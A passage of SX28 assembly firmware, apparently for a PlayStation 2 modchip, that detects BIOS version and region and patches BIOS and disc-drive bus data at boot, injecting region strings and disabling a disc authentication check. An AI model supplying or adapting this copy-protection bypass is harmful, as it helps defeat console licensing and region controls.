w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION ; nop ;; extra sx28 mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ; nop ;; extra sx28 mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK ; mov w,#$49 ;is byte7 ASCII I europe bios ;; remove as unneeded, make use of jap fall over ; mov w,VAR_BIOS_REGION_TEMP-w ; snb z ; jmp BIOS_JAP jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 mov VAR_DC1,w ;V1-8 kernels: sync 1E006334 then 2410 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES clr fsr snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3a mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb USA_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC snb JAP_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC page $0800 jmp PS1_CONSOLE_PAL_YFIX org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 ;0 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ;7 ;;Label_0039 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#$36 mov VAR_DC3,w retw $a4 retw $ec mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#$3d mov VAR_DC3,w retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 mov w,#$b mov VAR_DC1,w mov w,#$49 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 ;;todo v0 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr mov w,#$31 mov w,VAR_BIOS_REV-w snb z jmp V1_CONSOLE_11_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V2or3_CONSOLE_12_BIOS mov w,#$35 mov w,VAR_BIOS_REV-w snb z jmp V4_CONSOLE_15_BIOS jmp CHECK_V9to14_REV ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#$b0 mov VAR_DC3,w mov w,#$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#$40 mov VAR_DC3,w mov w,#$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#$60 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#$7 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#$17 mov VAR_DC1,w mov VAR_DC2,w mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V12_CONSOLE_20_BIOS mov w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_DC4,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w mov w,#$94 mov VAR_DC4,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#$64 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#$f4 mov VAR_DC3,w mov w,#$9e mov VAR_DC4,w mov w,#$27 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w mov w,#$20 mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$20 mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START_2 snb V12LOGO_FLAG page $0a00 jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27 mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp POST_PATCH_4_MODE_START2_2 mov w,#$64 mov VAR_DC4,w ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next mov w,#$20 mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 ;; call bios wait oe worked here seemed nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A mov w,#$6 mov !IO_CDDVD_BUS,w mode $0009 clr w mov !IO_CDDVD_BUS,w mode $000B snb PSX_FLAG jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 mov !IO_CDDVD_BUS,w sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 mov !IO_CDDVD_BUS,w sleep org $0400 ; PAGE4 400-5FF ;; page4 mechacon area ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- snb IO_CDDVD_OE_A_1Q jmp MECHACON_WAIT_OE ;;todo weird jump Label_0039 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R decsz VAR_DC1 jmp MECHACON_WAIT_OE ;;todo weird jump Label_0039 ret ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb 